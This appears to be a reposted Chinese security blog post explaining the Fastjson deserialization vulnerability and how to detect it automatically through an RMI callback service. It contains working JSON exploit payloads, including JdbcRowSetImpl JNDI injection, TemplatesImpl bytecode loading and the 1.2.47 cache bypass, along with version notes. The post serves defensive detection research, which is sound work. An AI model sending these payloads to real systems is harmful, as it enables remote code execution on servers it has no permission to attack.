Fastjson 反序列化漏洞自动化检测 – 作者:xray社区

fastjson 是 java 中常用的一个用来序列化/反序列化 JSON 数据的库。因其优异的性能表现在 java web 开放中应用比较广泛。这两天花 3 分钟入门了 JAVA 安全最近需要写一个 fastjson 的检测插件稍微研究了一下后感觉有一个比较不错的检测方法在这里和大家分享下。

在文章开始之前我想说明一点这里介绍的是检测方法而不是利用方法。这是两个不同的目标实现这两个目标需要考虑的细节也是不同的。在做漏洞检测时尤其是自动化检测时关注的往往有以下几点:

  • 利用入口点是什么
  • 如何确认漏洞存在
  • 如何高效检测
  • 如何无损检测

围绕着这几点我这个从未接触 java 安全的弟弟打开了 idea 开始了 fastjson 反序列化 debug 之路。

漏洞成因

我刚接触的时候感觉很多文章都在说 @type@type 是什么为什么需要 @type大家好像都没有提及而且既然 @type 这么多问题官方为何不去掉这个用法。带着这些疑问我写了一个简单的 case在 1.2.24 版本运行一下:

public class User {
    private String name;

    public User() {
        System.out.println("User()");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

class Testfastjson {
    public static void main(String[] args) {
        String x = "{\"name\": \"test\"}";
        Object xx = JSON.parseObject(x);
        System.out.println(xx);
        System.out.println();

        String y = "{\"@type\":\"com.koalr.fastjson.User\",\"name\": \"test\"}";
        User yy = (User) JSON.parse(y);
        System.out.println(yy);
        System.out.println();

        String z = "{\"name\": \"test\"}";
        User zz = (User) JSON.parseObject(z, User.class);
        System.out.println(zz);
    }
}

结果为:

{"name":"test"}

User()
setName
com.koalr.fastjson.User@18769467

User()
setName
com.koalr.fastjson.User@46ee7fe8

仔细观察这个这个 case它主要说明了两点一是如果没有指定类型得到的是 fastjson 的内置类型 JSONObject这个模式下没有类型信息使用起来和 python dict 比较像二是如果用某种方式制定了类型那么会调用初始化函数和相关属性的 setter 等。这里说的某种方式可以通过 @type 在 JSON 中指定也可以在反序列化时手动指定 class 类。

我们来试着回答下上面的三个问题: @type 用于指定本次序列化所使用的类方便直接操作想要的类型例子中的后两种情况我们可以直接通过类型转换将原始的 JSONObject 转为 User第一种却不行因为后两种真正的类型就是 User用过 go 的 interface{} 的同学应该比较容易理解这句话至于为什么需要以及为什么不去掉我猜想的是一方面帮 Java 开发者偷懒了一方面可能也是不得不。Java 是一门静态类型语言在静态语言中操作动态类型是比较难受和不安全的方式虽然可以通过手动指定class 的方式做反序列化但这种写法不够通用在写中间件之类的代码时结合各种反射特性可以把东西写的很精巧这时候就不得不用一些比较投机的方式了。

回到话题上现在我们可以概括一下这个漏洞的成因: 反序列化 @type 指定的类时指定类的 settergetter 被调用导致的命令执行。

检测方案

上面说到漏洞触发和 settergetter 有关那么利用方式就是找那些在 settergetter 中有敏感方法的类。从各位大佬们的分析文章来看主流方式有三种以 1.2.24 版本为例)

JNDI 注入

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务。 JNDI 常用的有 RMI 和 LDAP 服务这里我使用的 RMI 服务因为实现比较简单这个后面会说。

bytesCode

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类我们可以写一个自定义类并在类的初始化函数中加入利用代码。

DNS log

{"@type":"java.net.InetAddress","val":"example.com"}

原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析这时候可以通过 dns log 的方式得知漏洞是否存在了。

上面的三种方式综合考量下第一种是最合适的。第二种有个致命的限制需要类似 JSON.parseObject(z, Feature.SupportNonPublicField) 的用法来启用对私有成员的设置这个选项默认关闭所以直接不考虑第三种虽然简单但用户部署起来很复杂需要一个能够自行控制 dns 的域名才可以而且内网的情况更加棘手。

查阅资料后发现为了防止 JNDI 注入Java 本身也做了很多努力比如 java.rmi.server.useCodebaseOnlycom.sun.jndi.rmi.object.trustURLCodebase 这两个都是用于防止 rmi server 远程加载恶意类的。但这些限制对漏洞检测而言是无效的检测讲究点到为止我们只要能确定漏洞存在就可以结束检测流程。对 JNDI 注入而言我们认为 JNDI server 收到了 socket 连接就是漏洞存在。

确定 payload

上面敲定了使用 JNDI 注入的方式来做检测还有个关键问题需要解决就是检测过程使用的 payload。有个简单的方式是把各个版本爆出的 poc 都打一遍可以但有些粗暴。回看最开始说的漏洞检测的几个点现在要思考的是如何高效检测。

从 2017 年到现在2019.12fastjson 先后约有 5 次左右的反序列漏洞的产生、修复和绕过在这曲折的打怪升级过程中这其中有两个关键性的版本一个是 1.2.24一个是 1.2.47。前者是官方主动说该版本有反序列化漏洞开启了 fastjson 反序列化研究的道路后者是护网期间诞生的一个梦幻般的绕过。1.2.24 及之前没有任何限制从该版本后逐渐增加了黑名单限制、默认关闭 AutoType 等安全更新大都因为黑名单被绕过直到 1.2.47 版本左右有人发现了一种利用 cache 绕过限制的方法而且这种方法可以向前通杀很多版本但是 1.2.24 版本却不能用究竟可以杀到那个版本我自己调了一下代码结论如下:

  • 1.2.33 – 1.2.47 无条件利用
  • 1.2.25 – 1.2.32 未开启 AutoType 可以利用开启反而不能 (默认关闭)
  • 1.2.24 无条件利用

cache 机制是从 1.2.25 添加的我当时很好奇为何这个开启了 AutoType 反而不能用了发现原因是这两行代码:

// 1.2.25
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

// 1.2.33
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

这段代码只在开启了 AutoType 时会执行到但 25 版本少了一个判断导致 cache 的利用机制失效了。综合来看 47 这个版本的 poc 基本是通杀的但 25~32 几个版本手动开了 AutoType 就检查不到了只能发一个别的 payload 来检测我曾花费很多力气来尝试把两个 payload 合二为一但后来发现做的是无用功因为这两个关键版本的 payload 本质上是互斥的。

没有办法只能求次发两个包解决其中 payload1 是”通杀“ payloadpayload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload这两个结合就覆盖了所有的 case。 细心的同学会发现每个数据都套了一层随机数这么做的原因是我发现 Java Web 中可以通过 annotation 来做类型绑定大意是可以指定 /user 的数据类型是 User如果 Server 收到的数据是这样的 {"@type": "com.sun.rowset.JdbcRowSetImpl"}数据指定的类型和 User 不匹配时会报错这是我在测试 vulhub 靶站时发现的。通过这样一个小的优化可以提高 payload 的命中率。

// payload 1
{
    "rand1": {
      "@type": "java.lang.Class",
      "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "rand2": {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}
// payload 2
{
    "rand3": {
      "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}

自动化实现

检测方式和 payload 都确定了就可以开始写代码了。有个问题摆在了眼前如何利用 RMI 服务来做自动化检测。 回想一下漏洞检测常用的方式

  • 有回显的检测
  • 布尔/时间盲检测
  • 反连平台检测

fastjson 的这个问题明显属于第三种它需要一个外部服务来告诉我们漏洞有没有触发我们称这种服务为反连平台。白帽子们最常用的 xss 平台就是一个 http 服务的反连平台检测 ssrf 漏洞时也常用反连平台来作为辅助平台那么我们能不能设法实现一个基于 rmi 服务的反连平台

一些图省事的同学可能会说直接用 java 启动一个 rmi 服务就可以了这样做的问题是比较多的一方面 xray 是用 go 写的再套一个 java 会很奇怪。而且就算可以用 java我们也需要为每个检测目标启动不同的服务因为在同时扫描多个网站时需要鉴别漏洞请求来源于哪个网站。这其实牵涉到反连平台的一个关键问题如果做请求关联就是需要知道这条反连的请求是扫描那个目标时触发的。

有个简单的方案是根据端口来区分rmi 本质上是一个 socket 服务我们可以在发送 payload 前启动一个随机的 socket 服务然后将这个 socket 服务的端口填入 payload 中内部只需要维持一个 map{“port” -> “request”} 即可。理论上是可行的但这样需要启动大量的 socket 服务来监听端口听着就很脏有没有更好的方法呢

我们上面输入的 dataSourceName中输入的是 rmi://127.0.0.1:1099/aaa/aaa这一部分像极了 http 的 path我们设法取到这个值理论上就和 http 服务的反连平台基本一致了。不妨来看看 RMI 服务的协议https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview, 发现这个协议还挺简单的我用 wireshark 调了一下大致流程是:

  1. client -> server dial tcp and send
    4a 52 4d 49    00 02    4b
    J  R  M  I     Version  Protocol(StreamProtocol)
    
  2. server -> client, repsond with client infos
    4e           0009     3132372e302e302e31 0000 d399
    ProtocolACK  Length   127.0.0.1               54169
    

    其中 127.0.0.1:54169 对于 server 来讲就是 socket.RemoteAddr

  3. client -> server, call
    50   xxxxxxxxxxxxxxx
    Call SerializationData
    

这里的 SerializationData 其实就是 String 的序列化数据这里面必然包含这我们想要的那个 path, 我在实现时并没有按照 java 序列化数据的格式去乖乖读取而是用了一个简单的办法我发现 String 的序列化数据的真正内容都在最后面那么我其实从后往前读取就可以找到想要的 path具体方法可以从后往前读固定的长度也可以给path 设置一个标记符读到就结束我用的是后者。

至此我们把上面讨论的内容用代码串起来就可以做到 fastjson 的高效自动化检测了该插件现已加入 xray 高级版欢迎体验。我取了4个版本相对关键的 fastjson 版本验证了一下效果图如下:

一点想法

上面的实现还有个我觉得不够完美的点由于我自行实现的 RMI 只实现了握手部分取得 path 后就关掉连接了这其实会导致服务端有一个异常信息。其实有时间的话完全可以把剩下的协议部分实现以下返回一个最简单的结果就可以这个留给大家去发挥吧。

在研究这个漏洞时发现大家的研究点都集中在漏洞利用上然而发现漏洞其实是利用漏洞的起点而如何高效、自动化的检测漏洞也是非常值得我们去思考和研究的。由于我之前没接触过 Java很多都是花三分钟现学的虽然文中结论我大都自己调试过但精力有限如有错误欢迎与我联系改正。

来源:freebuf.com 2019-12-23 16:47:58 by: xray社区

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论